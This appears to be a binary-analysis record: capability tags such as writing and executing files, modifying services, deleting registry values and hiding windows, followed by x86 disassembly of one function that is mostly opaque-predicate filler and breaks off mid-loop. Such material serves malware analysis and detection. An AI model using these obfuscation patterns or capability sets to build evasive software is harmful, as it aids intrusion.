Function at 0x44753c
Capabilities:
Accept command line arguments
Clear file content
Connect pipe
Create process on windows
Create thread
Delete registry value
Get geographical location
Get thread local storage value
Hide graphical window
Modify service
Query environment variable
Read .ini file
Start service
Suspend thread
Terminate process
Write and execute a file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3604
call fcn.0047d8e0
push esi
push edi
mov dword [ebp - 0xb98], 0
mov dword [ebp - 0xb94], 0
mov dword [ebp - 0xb90], 0
mov dword [ebp - 0xb8c], 0
mov dword [ebp - 0x1f74], 0xfddf34ff
mov dword [ebp - 0x2c98], 0x8d550032
mov dword [ebp - 0x8c8], 0
jmp 0x4475a0
mov eax, dword [ebp - 0x8c8]
inc eax
mov dword [ebp - 0x8c8], eax
cmp dword [ebp - 0x8c8], 2
jge 0x4475bc
mov eax, dword [ebp - 0x8c8]
mov dword [ebp + eax*4 - 0xb18], 0xfffffffb
jmp 0x447593
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xb98], 1
jmp 0x4475e7
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xb98]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xb98], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xb98], 0
jl 0x44797b
mov dword [ebp - 0x1f6c], 0
mov dword [ebp - 0x8d0], 0
jmp 0x44761d
mov eax, dword [ebp - 0x8d0]
inc eax
mov dword [ebp - 0x8d0], eax
cmp dword [ebp - 0x8d0], 2
jge 0x447639
mov eax, dword [ebp - 0x8d0]
mov dword [ebp + eax*4 - 0xb0c], 0
jmp 0x447610
xor eax, eax
jne 0x447659
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xb18], 0
jne 0x447659
mov dword [ebp - 0x17e0], 1
jmp 0x447660
and dword [ebp - 0x17e0], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xb98]
cmp dword [ebp - 0x17e0], eax
jne 0x447680
mov dword [ebp - 0x1f0c], 1
jmp 0x447687
and dword [ebp - 0x1f0c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb0c]
cmp dword [ebp - 0x1f0c], eax
jne 0x4476a8
mov dword [ebp - 0x1f14], 1
jmp 0x4476af
and dword [ebp - 0x1f14], 0
cmp dword [ebp - 0x1f14], 0xfbebf0a0
jbe 0x4476c7
mov dword [ebp - 0x1f1c], 1
jmp 0x4476ce
and dword [ebp - 0x1f1c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb0c]
cmp dword [ebp - 0x1f1c], eax
jg 0x4476ef
mov dword [ebp - 0x1f24], 1
jmp 0x4476f6
and dword [ebp - 0x1f24], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb18]
cmp eax, dword [ebp - 0x1f24]
jge 0x447717
mov dword [ebp - 0x1f2c], 1
jmp 0x44771e
and dword [ebp - 0x1f2c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb0c]
imul eax, dword [ebp - 0x1f2c]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0xb0c]
sub eax, 0x3d0e72ee
jmp 0x447753
and dword [ebp - 0x232c], 0
push 4
pop eax
shl eax, 1
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0xb0c]
cmp dword [ebp + eax - 0xb98], ecx
jge 0x447781
mov dword [ebp - 0x1f34], 1
jmp 0x447788
and dword [ebp - 0x1f34], 0
cmp dword [ebp - 0x1f34], 0x1a17e59
je 0x4477a0
mov dword [ebp - 0x1f3c], 1
jmp 0x4477a7
and dword [ebp - 0x1f3c], 0
cmp dword [ebp - 0x1f3c], 0x358bd4df
je 0x4477bf
mov dword [ebp - 0x1f44], 1
jmp 0x4477c6
and dword [ebp - 0x1f44], 0
cmp dword [ebp - 0x1f44], 0xffffffff
jge 0x4477db
mov dword [ebp - 0x1f4c], 1
jmp 0x4477e2
and dword [ebp - 0x1f4c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb0c]
cmp dword [ebp - 0x1f4c], eax
je 0x447803
mov dword [ebp - 0x1f54], 1
jmp 0x44780a
and dword [ebp - 0x1f54], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xb98]
mov ecx, dword [ebp - 0x1f54]
mov dword [ebp + eax*4 - 0xb18], ecx
imul eax, dword [ebp - 0x1f6c], 0x536c
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xb0c], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xb98]
mov ecx, dword [ebp - 0x1f74]
cmp dword [ebp + eax*4 - 0xb18], ecx
jg 0x447861
mov dword [ebp - 0x261c], 1
jmp 0x447868
and dword [ebp - 0x261c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xb98]
mov dword [ebp - 0x2dc4], eax
push 4
pop eax
shl eax, 1
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0xb98]
cmp dword [ebp + eax - 0xb98], ecx
jge 0x4478a0
mov dword [ebp - 0x1f5c], 1
jmp 0x4478a7
and dword [ebp - 0x1f5c], 0
cmp dword [ebp - 0x1f5c], 0xa1ee3199
jae 0x4478bf
mov dword [ebp - 0x1f64], 1
jmp 0x4478c6
and dword [ebp - 0x1f64], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb18]
cmp dword [ebp - 0x1f64], eax
jl 0x4478e7
mov dword [ebp - 0x2624], 1
jmp 0x4478ee
and dword [ebp - 0x2624], 0
mov eax, dword [ebp - 0x1f6c]
mov dword [ebp - 0x2dcc], eax
cmp dword [ebp - 0x1f74], 0xffffffff
je 0x44790f
mov dword [ebp - 0x2034], 1
jmp 0x447916
and dword [ebp - 0x2034], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xb98]
mov eax, dword [ebp + eax*4 - 0xb18]
cmp dword [ebp - 0x2034], eax
jl 0x44793d
mov dword [ebp - 0x20b8], 1
jmp 0x447944
and dword [ebp - 0x20b8], 0
cmp dword [ebp - 0x20b8], 0x4c90eb1f
jge 0x44795c
mov dword [ebp - 0x20c0], 1
jmp 0x447963
and dword [ebp - 0x20c0], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x20c0]
mov dword [ebp + eax - 0xb18], ecx
jmp 0x4475ce
mov dword [ebp - 0x200], 1
mov dword [ebp - 0x110], 0
jmp 0x44799e
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 2
jge 0x4479ba
mov eax, dword [ebp - 0x110]
mov dword [ebp + eax*4 - 0x2174], 0xfffffff9
jmp 0x447991
mov dword [ebp - 0x110], 0
jmp 0x4479d3
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 1
jge 0x4479ef
mov eax, dword [ebp - 0x110]
mov dword [ebp + eax*4 - 0x2634], 0
jmp 0x4479c6
mov dword [ebp - 0x200], 0
jmp 0x447a08
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 1
jg 0x447acc
mov dword [ebp - 0x20c8], 0x20a29822
mov dword [ebp - 0x262c], 0xfffffffd
mov eax, dword [ebp - 0x200]
mov eax, dword [ebp + eax*4 - 0x2174]
mov dword [ebp - 0x2dd4], eax
mov eax, dword [ebp - 0x200]
mov eax, dword [ebp + eax*4 - 0x2174]
mov dword [ebp - 0x20c8], eax
imul eax, dword [ebp - 0x200], 0xca9d
mov ecx, dword [ebp - 0x200]
mov ecx, dword [ebp + ecx*4 - 0x2174]
sub ecx, eax
cmp ecx, dword [ebp - 0x20c8]
je 0x447a85
cmp dword [ebp - 0x262c], 0
je 0x447a85
mov dword [ebp - 0x20dc], 1
jmp 0x447a8c
and dword [ebp - 0x20dc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2174]
cmp dword [ebp - 0x20dc], eax
je 0x447aad
mov dword [ebp - 0x20e4], 1
jmp 0x447ab4
and dword [ebp - 0x20e4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x20e4]
mov dword [ebp + eax - 0x2634], ecx
jmp 0x4479fb
mov dword [ebp - 8], 0
mov dword [ebp - 0x3ec], 0
mov dword [ebp - 0x22f8], 0xdbf4
mov dword [ebp - 0x22f4], 0xdbf4
mov dword [ebp - 0x22f0], 0xdbf4
mov dword [ebp - 0x22ec], 0xdbf4
mov dword [ebp - 0x484], 0x2f093d7f
mov dword [ebp - 0x22b8], 0
mov dword [ebp - 0x22b4], 0
mov dword [ebp - 0x22b0], 0
mov dword [ebp - 0x22ac], 0
mov dword [ebp - 0xaf0], 0x37ddc4ea
mov dword [ebp - 0x1b4c], 0x3ada
mov dword [ebp - 0x264c], 1
mov dword [ebp - 0x8f0], 0
jmp 0x447b6e
mov eax, dword [ebp - 0x8f0]
inc eax
mov dword [ebp - 0x8f0], eax
cmp dword [ebp - 0x8f0], 4
jge 0x447b8a
mov eax, dword [ebp - 0x8f0]
mov dword [ebp + eax*4 - 0x2a4c], 9
jmp 0x447b61
mov eax, 0x5a97963b
test eax, eax
je 0x447c39
mov eax, dword [ebp - 8]
cmp dword [ebp - 8], eax
jge 0x447bb1
cmp dword [ebp - 8], 0
je 0x447bb1
mov dword [ebp - 0x20ec], 1
jmp 0x447bb8
and dword [ebp - 0x20ec], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x20ec], eax
jge 0x447bcf
mov dword [ebp - 0x20f4], 1
jmp 0x447bd6
and dword [ebp - 0x20f4], 0
mov eax, dword [ebp - 0x20f4]
mov dword [ebp - 0x3ec], eax
cmp dword [ebp - 8], 0xffffffff
jb 0x447bf4
mov dword [ebp - 0x20fc], 1
jmp 0x447bfb
and dword [ebp - 0x20fc], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x20fc], eax
je 0x447c15
cmp dword [ebp - 8], 0
jne 0x447c15
and dword [ebp - 0x1aec], 0
jmp 0x447c1f
mov dword [ebp - 0x1aec], 1
cmp dword [ebp - 0x1aec], 1
jne 0x447c39
or eax, 0xffffffff
je 0x447c39
mov dword [ebp - 0xbec], 1
jmp 0x447c40
and dword [ebp - 0xbec], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x22f8]
cmp dword [ebp - 0xbec], eax
jge 0x447c60
mov dword [ebp - 0x1af4], 1
jmp 0x447c67
and dword [ebp - 0x1af4], 0
cmp dword [ebp - 0x1af4], 0x60813c27
jge 0x447c7f
mov dword [ebp - 0xbf4], 1
jmp 0x447c86
and dword [ebp - 0xbf4], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0xbf4], eax
jge 0x447c9d
mov dword [ebp - 0x1afc], 1
jmp 0x447ca4
and dword [ebp - 0x1afc], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x1afc], eax
jge 0x447cbb
mov dword [ebp - 0x263c], 1
jmp 0x447cc2
and dword [ebp - 0x263c], 0
mov eax, dword [ebp - 8]
mov dword [ebp - 0x2ddc], eax
cmp dword [ebp - 8], 0xffff
je 0x447ce0
mov dword [ebp - 0xbfc], 1
jmp 0x447ce7
and dword [ebp - 0xbfc], 0
imul eax, dword [ebp - 0xbfc], 3
cmp eax, dword [ebp - 8]
jle 0x447d0c
mov dword [ebp - 0x2644], 0xffffffff
mov dword [ebp - 0x2644], 0x867a7bf7
jmp 0x447d99
mov dword [ebp - 0x1b04], 0x9ebe
mov dword [ebp - 8], 0xc
jmp 0x447d26
mov eax, dword [ebp - 8]
dec eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xfffffff4
jg 0x447d6e
mov dword [ebp - 0x3ec], 0
jmp 0x447d45
mov eax, dword [ebp - 0x3ec]
inc eax
mov dword [ebp - 0x3ec], eax
cmp dword [ebp - 0x3ec], 4
jge 0x447d61
mov eax, dword [ebp - 0x3ec]
mov dword [ebp + eax*4 - 0x22f8], 0x8169
jmp 0x447d38
cmp dword [ebp - 0x1b04], 0
je 0x447d6c
jmp 0x447d1f
jmp 0x447d1f
mov eax, dword [ebp - 0x1b04]
mov dword [ebp - 0xc04], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0xc04]
mov dword [ebp + eax - 0x2a4c], ecx
mov eax, dword [ebp - 0xc04]
mov dword [ebp - 0x484], eax
mov dword [ebp - 8], 0xffffffe9
jmp 0x447da9
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffee
jle 0x448220
mov dword [ebp - 0x1b0c], 0xba8a7e8b
mov dword [ebp - 0xae8], 1
mov dword [ebp - 0x1b24], 0xfef2
mov dword [ebp - 0x578], 0xffffffff
mov dword [ebp - 0x7b8], 0
jmp 0x447df4
mov eax, dword [ebp - 0x7b8]
inc eax
mov dword [ebp - 0x7b8], eax
cmp dword [ebp - 0x7b8], 4
jge 0x447e10
mov eax, dword [ebp - 0x7b8]
mov dword [ebp + eax*4 - 0x21cc], 0x1939efd9
jmp 0x447de7
or eax, 0xffffffff
je 0x447fc4
mov eax, dword [ebp - 8]
mov dword [ebp - 0x2de4], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x22f8]
mov dword [ebp - 0x2dec], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x22b8]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x2a4c]
push 4
pop edx
shl edx, 0
sub ecx, dword [ebp + edx - 0x22b8]
sub eax, ecx
imul eax, eax, 0xfffffffb
mov dword [ebp - 0x1b0c], eax
mov eax, dword [ebp - 0x1b0c]
cmp dword [ebp - 0x484], eax
jle 0x447e80
mov dword [ebp - 0xc0c], 1
jmp 0x447e87
and dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0xc0c]
mov dword [ebp - 0xae8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x21cc]
cmp dword [ebp - 0xae8], eax
je 0x447eb4
mov dword [ebp - 0x1b14], 1
jmp 0x447ebb
and dword [ebp - 0x1b14], 0
mov eax, dword [ebp - 0x1b14]
mov dword [ebp - 0xaf0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x21cc]
cmp dword [ebp - 0xaf0], eax
jle 0x447ee8
mov dword [ebp - 0xc14], 1
jmp 0x447eef
and dword [ebp - 0xc14], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xc14]
sub ecx, dword [ebp + eax - 0x21cc]
push 4
pop eax
shl eax, 0
cmp ecx, dword [ebp + eax - 0x21cc]
je 0x447f1d
mov dword [ebp - 0x1b1c], 1
jmp 0x447f24
and dword [ebp - 0x1b1c], 0
mov eax, dword [ebp - 0x1b1c]
mov dword [ebp - 0x484], eax
cmp dword [ebp - 0x484], 0xfffa
jbe 0x447f58
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x21cc], 0
je 0x447f58
mov dword [ebp - 0x920], 1
jmp 0x447f5f
and dword [ebp - 0x920], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x920]
mov dword [ebp + eax - 0x2a4c], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x21cc]
cmp dword [ebp - 0x920], eax
jl 0x447f9c
mov eax, 0x29ef
test eax, eax
je 0x447f9c
mov dword [ebp - 0xc1c], 1
jmp 0x447fa3
and dword [ebp - 0xc1c], 0
mov eax, dword [ebp - 0xc1c]
mov dword [ebp - 0x1b24], eax
cmp dword [ebp - 0x1b24], 0
je 0x447fc4
mov dword [ebp - 0xc24], 1
jmp 0x447fcb
and dword [ebp - 0xc24], 0
cmp dword [ebp - 0xc24], 0xffffffff
jg 0x447fe0
mov dword [ebp - 0x1b2c], 1
jmp 0x447fe7
and dword [ebp - 0x1b2c], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x1b2c]
mov dword [ebp + eax - 0x21cc], ecx
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2a4c], 0
je 0x4481a3
mov dword [ebp - 0x484], 0xffffffff
mov eax, dword [ebp - 0x484]
mov dword [ebp - 0x2df4], eax
mov eax, dword [ebp - 0xae8]
cmp dword [ebp - 0x264c], eax
jle 0x44803e
mov dword [ebp - 0xc2c], 1
jmp 0x448045
and dword [ebp - 0xc2c], 0
mov eax, dword [ebp - 0x578]
cmp dword [ebp - 0xc2c], eax
je 0x44805f
mov dword [ebp - 0x1b34], 1
jmp 0x448066
and dword [ebp - 0x1b34], 0
mov eax, dword [ebp - 0xaf0]
cmp dword [ebp - 0x1b34], eax
jl 0x448080
mov dword [ebp - 0xc34], 1
jmp 0x448087
and dword [ebp - 0xc34], 0
cmp dword [ebp - 0xc34], 0
jb 0x44809c
mov dword [ebp - 0x1b3c], 1
jmp 0x4480a3
and dword [ebp - 0x1b3c], 0
mov eax, dword [ebp - 0x578]
add eax, dword [ebp - 0x1b3c]
jne 0x4480bf
or eax, 0xffffffff
jne 0x4480bf
and dword [ebp - 0xc3c], 0
jmp 0x4480c9
mov dword [ebp - 0xc3c], 1
mov eax, dword [ebp - 0x578]
cmp dword [ebp - 0xc3c], eax
jle 0x4480e3
mov dword [ebp - 0xaf8], 1
jmp 0x4480ea
and dword [ebp - 0xaf8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xaf8]
mov dword [ebp + eax - 0x21cc], ecx
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x22b8]
cmp dword [ebp - 0xaf8], eax
jle 0x44811e
mov dword [ebp - 0x1b44], 1
jmp 0x448125
and dword [ebp - 0x1b44], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x22f8]
cmp dword [ebp - 0x1b44], eax
jne 0x448145
mov dword [ebp - 0x2654], 1
jmp 0x44814c
and dword [ebp - 0x2654], 0
mov eax, dword [ebp - 0x578]
mov dword [ebp - 0x2dfc], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x22b8]
cmp dword [ebp + eax - 0x21cc], ecx
je 0x448180
mov dword [ebp - 0x265c], 1
jmp 0x448187
and dword [ebp - 0x265c], 0
mov eax, dword [ebp - 0x1b4c]
mov dword [ebp - 0x2e04], eax
xor eax, eax
jne 0x4481a3
mov dword [ebp - 0xc44], 1
jmp 0x4481aa
and dword [ebp - 0xc44], 0
mov eax, dword [ebp - 0xc44]
sub eax, 0x87
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x22b8]
jne 0x4481d0
mov dword [ebp - 0x2664], 1
jmp 0x4481d7
and dword [ebp - 0x2664], 0
mov eax, dword [ebp - 0x1b4c]
mov dword [ebp - 0x2e0c], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x22f8], 0xdae5
jge 0x448201
mov dword [ebp - 0xc4c], 1
jmp 0x448208
and dword [ebp - 0xc4c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp + eax - 0x2a4c], ecx
jmp 0x447da2
mov dword [ebp - 0xd8], 0xffffffff
mov dword [ebp - 0x580], 0xce4b
mov dword [ebp - 0x460], 0xfffffff9
mov dword [ebp - 0xd8], 0xfffffffb
jmp 0x448257
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0x15
je 0x44850a
mov dword [ebp - 0xcc], 0xffffffff
mov dword [ebp - 0x267c], 0xffffffff
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x2e14], eax
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x2e1c], eax
mov eax, dword [ebp - 0x580]
cmp dword [ebp - 0xd8], eax
jne 0x4482b6
mov dword [ebp - 0x1b54], 1
jmp 0x4482bd
and dword [ebp - 0x1b54], 0
mov eax, dword [ebp - 0xcc]
sub eax, dword [ebp - 0x1b54]
je 0x4482d4
mov eax, 0xfff8
test eax, eax
jne 0x4482e6
cmp dword [ebp - 0xd8], 0
jne 0x4482e6
and dword [ebp - 0xc54], 0
jmp 0x4482f0
mov dword [ebp - 0xc54], 1
cmp dword [ebp - 0xc54], 0xe5e81a7e
jb 0x448308
mov dword [ebp - 0x1b5c], 1
jmp 0x44830f
and dword [ebp - 0x1b5c], 0
mov eax, dword [ebp - 0x1b5c]
sub eax, dword [ebp - 0x580]
cmp eax, dword [ebp - 0xd8]
jl 0x44832f
mov dword [ebp - 0xc5c], 1
jmp 0x448336
and dword [ebp - 0xc5c], 0
mov eax, dword [ebp - 0x580]
cmp dword [ebp - 0xc5c], eax
jl 0x448350
mov dword [ebp - 0x1b64], 1
jmp 0x448357
and dword [ebp - 0x1b64], 0
mov eax, dword [ebp - 0x1b64]
mov dword [ebp - 0x460], eax
cmp dword [ebp - 0x460], 0x8d20
jge 0x448378
cmp dword [ebp - 0xcc], 0
je 0x448393
mov dword [ebp - 0x266c], 0x3bed
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x266c], eax
jmp 0x448505
mov dword [ebp - 0x7c0], 0
jmp 0x4483ac
mov eax, dword [ebp - 0x7c0]
inc eax
mov dword [ebp - 0x7c0], eax
cmp dword [ebp - 0x7c0], 2
jge 0x4483c8
mov eax, dword [ebp - 0x7c0]
mov dword [ebp + eax*4 - 0x2a1c], 1
jmp 0x44839f
mov dword [ebp - 0xcc], 0xffffffeb
jmp 0x4483e1
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0xfffffff7
je 0x4484b2
mov dword [ebp - 0xb00], 0
cmp dword [ebp - 0xb00], 0x498b
jle 0x448410
mov dword [ebp - 0x1b6c], 1
jmp 0x448417
and dword [ebp - 0x1b6c], 0
mov eax, dword [ebp - 0x580]
mov dword [ebp - 0x2e24], eax
cmp dword [ebp - 0xb00], 0
je 0x44843f
push 0xfffffffffffffff7
pop eax
test eax, eax
je 0x44843f
mov dword [ebp - 0xc64], 1
jmp 0x448446
and dword [ebp - 0xc64], 0
mov eax, dword [ebp - 0xb00]
cmp dword [ebp - 0xc64], eax
jl 0x448460
mov dword [ebp - 0x2674], 1
jmp 0x448467
and dword [ebp - 0x2674], 0
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x2e2c], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1b6c]
sub ecx, dword [ebp + eax - 0x2a1c]
cmp ecx, dword [ebp - 0xd8]
je 0x44849a
mov dword [ebp - 0xc6c], 1
jmp 0x4484a1
and dword [ebp - 0xc6c], 0
mov eax, dword [ebp - 0xc6c]
mov dword [ebp - 0x267c], eax
jmp 0x4483d4
mov dword [ebp - 0x460], 0
jmp 0x4484cb
mov eax, dword [ebp - 0x460]
inc eax
mov dword [ebp - 0x460], eax
cmp dword [ebp - 0x460], 0xe
je 0x448505
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2a1c], 0
je 0x4484e6
jmp 0x448505
mov byte [ebp - 0x3d2], 0
movzx eax, byte [ebp - 0x3d2]
test eax, eax
je 0x448503
push 0xa0e
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
jmp 0x4484be
jmp 0x44824a
mov dword [ebp - 0xad4], 0
mov dword [ebp - 0xad0], 0
mov dword [ebp - 0xacc], 0
mov dword [ebp - 0xac8], 0
mov dword [ebp - 0x2a2c], 7
mov dword [ebp - 0x2a28], 7
mov dword [ebp - 0x2a24], 7
mov dword [ebp - 0x2a20], 7
mov dword [ebp - 0x260], 0x81c2900
mov dword [ebp - 0x2e34], 0xc044b0bf
mov dword [ebp - 0x2684], 0x35c22c92
mov dword [ebp - 0x260], 3
jmp 0x448591
mov eax, dword [ebp - 0x260]
dec eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 0
jl 0x4486b8
mov dword [ebp - 0xc74], 0xb748abb7
mov dword [ebp - 0x7c8], 0
jmp 0x4485c1
mov eax, dword [ebp - 0x7c8]
inc eax
mov dword [ebp - 0x7c8], eax
cmp dword [ebp - 0x7c8], 1
jge 0x4485dd
mov eax, dword [ebp - 0x7c8]
mov dword [ebp + eax*4 - 0xb74], 0x827359b5
jmp 0x4485b4
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb74]
mov dword [ebp - 0x2e3c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x260]
cmp dword [ebp + eax - 0xb74], ecx
jl 0x448611
mov dword [ebp - 0xb7c], 1
jmp 0x448618
and dword [ebp - 0xb7c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb7c]
mov dword [ebp + eax - 0xb74], ecx
cmp dword [ebp - 0xb7c], 0
jne 0x44864a
cmp dword [ebp - 0x260], 0
jne 0x44864a
xor eax, eax
jne 0x44864a
and dword [ebp - 0x1b74], 0
jmp 0x448654
mov dword [ebp - 0x1b74], 1
mov eax, dword [ebp - 0x260]
mov eax, dword [ebp + eax*4 - 0x2a2c]
mov dword [ebp - 0x1b7c], eax
mov eax, dword [ebp - 0x260]
mov ecx, dword [ebp - 0x1b7c]
mov dword [ebp + eax*4 - 0x2a2c], ecx
mov eax, dword [ebp - 0x1b74]
mov dword [ebp - 0xc74], eax
mov eax, dword [ebp - 0xc74]
cmp dword [ebp - 0x1b7c], eax
jl 0x4486a0
mov dword [ebp - 0xc7c], 1
jmp 0x4486a7
and dword [ebp - 0xc7c], 0
mov eax, dword [ebp - 0xc7c]
mov dword [ebp - 0x2684], eax
jmp 0x448584
mov dword [ebp - 0x1d0c], 0xfddf34ff
mov dword [ebp - 0x588], 0
mov dword [ebp - 0x588], 0
jmp 0x4486e5
mov eax, dword [ebp - 0x588]
inc eax
mov dword [ebp - 0x588], eax
cmp dword [ebp - 0x588], 9
je 0x448738
mov dword [ebp - 0x7d0], 0xd8e5ccc9
mov dword [ebp - 0x7d0], 0
jmp 0x448711
mov eax, dword [ebp - 0x7d0]
dec eax
mov dword [ebp - 0x7d0], eax
cmp dword [ebp - 0x7d0], 0xffffffe8
je 0x448736
mov byte [ebp - 0x3cd], 0
movzx eax, byte [ebp - 0x3cd]
test eax, eax
je 0x448734
push 0
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x448704
jmp 0x4486d8
mov dword [ebp - 0x2e44], 0x8d550032
mov dword [ebp - 0x20], 0x66c93ee3
mov dword [ebp - 0x26bc], 0xd78db584
mov dword [ebp - 0x1e0], 0
jmp 0x44876c
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 3
jge 0x448788
mov eax, dword [ebp - 0x1e0]
mov dword [ebp + eax*4 - 0x2044], 1
jmp 0x44875f
mov dword [ebp - 0x1e0], 0
jmp 0x4487a1
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 2
jge 0x4487bd
mov eax, dword [ebp - 0x1e0]
mov dword [ebp + eax*4 - 0x2728], 1
jmp 0x448794
mov eax, dword [ebp - 0x20]
inc eax
cmp eax, 8
jb 0x4487d2
mov dword [ebp - 0x268c], 1
jmp 0x4487d9
and dword [ebp - 0x268c], 0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2e4c], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2e54], eax
cmp dword [ebp - 0x20], 9
jae 0x4487fd
mov dword [ebp - 0x1b84], 1
jmp 0x448804
and dword [ebp - 0x1b84], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x1b84], eax
jl 0x44881b
mov dword [ebp - 0x2694], 1
jmp 0x448822
and dword [ebp - 0x2694], 0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2e5c], eax
cmp dword [ebp - 0x20], 0xffffffff
jle 0x44883d
mov dword [ebp - 0xc84], 1
jmp 0x448844
and dword [ebp - 0xc84], 0
cmp dword [ebp - 0xc84], 0x836ccb03
jae 0x44885c
mov dword [ebp - 0x1b8c], 1
jmp 0x448863
and dword [ebp - 0x1b8c], 0
cmp dword [ebp - 0x1b8c], 0x4257
jle 0x44887b
mov dword [ebp - 0xc8c], 1
jmp 0x448882
and dword [ebp - 0xc8c], 0
cmp dword [ebp - 0xc8c], 0x15ee56e3
jge 0x44889a
mov dword [ebp - 0x1b94], 1
jmp 0x4488a1
and dword [ebp - 0x1b94], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x1b94], eax
je 0x4488b8
mov dword [ebp - 0xc94], 1
jmp 0x4488bf
and dword [ebp - 0xc94], 0
imul eax, dword [ebp - 0xc94], 0xffffffff
imul eax, eax, 0x7b47
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x2044], eax
mov dword [ebp - 0x20], 0
jmp 0x4488e8
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jg 0x448c13
mov dword [ebp - 0x3f8], 5
mov dword [ebp - 0x26a4], 0xab171c25
mov dword [ebp - 0x26ac], 5
mov dword [ebp - 0x26b4], 0xfffffffa
mov dword [ebp - 0x590], 0
jmp 0x448933
mov eax, dword [ebp - 0x590]
inc eax
mov dword [ebp - 0x590], eax
cmp dword [ebp - 0x590], 4
jge 0x44894f
mov eax, dword [ebp - 0x590]
